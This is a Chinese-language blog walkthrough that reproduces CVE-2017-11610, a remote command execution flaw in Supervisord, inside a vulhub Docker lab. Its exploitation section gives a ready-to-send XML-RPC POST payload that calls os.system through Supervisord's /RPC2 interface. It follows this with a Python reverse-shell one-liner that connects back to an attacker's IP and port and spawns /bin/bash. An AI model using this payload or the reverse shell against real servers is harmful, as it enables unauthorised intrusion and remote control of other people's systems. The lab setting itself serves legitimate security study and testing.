CVE-2017-11610漏洞復現
阿新 • • 發佈:2021-09-06
一、漏洞描述
Supervisord是一款用Python語言開發的管理後臺應用(服務)的工具,方便運維人員使用圖形化介面進行管理。近期,Supervisord曝出了一個需認證的遠端命令執行漏洞(CVE-2017-11610)。通過POST請求向Supervisord管理介面提交惡意資料,可以獲取伺服器操作許可權,帶來嚴重的安全風險。
影響版本
Supervisord 3.1.2 <= Version <= 3.3.2
二、漏洞環境搭建
需要準備的工具如下:
1.docker+vulhub漏洞庫 2.kali虛擬機器 3.靶機Ubuntu18.04虛擬機器(其他也可以) 4.Burpsuite
開啟Ubuntu虛擬機器,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這裡就不多介紹了)
root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610#
執行命令 docker-compose up -d
root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610# docker-compose up -d
等環境搭建完成後,可以訪問 http://your-ip:9001
出現如下頁面證明搭建成功!
三、漏洞利用
訪問http://your-ip:9001
,然後用Burpsuite代理工具抓包,將抓到的主頁包放到Repeater裡,直接將payload放入資料包中重放即可復現成功!
payload如下:
將payload中的IP換成自己的即可
POST /RPC2 HTTP/1.1 Host: 192.168.124.129:9001 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 213 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall>
可以看到返回200,進入docker容器檢視是否建立成功
docker exec -it 容器ID /bin/bash
成功建立
反彈shell,將payload中的命令替換為如下命令即可反彈shell,這裡使用kali虛擬機器來反彈shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
反彈成功
四、關閉docker環境
docker-compose down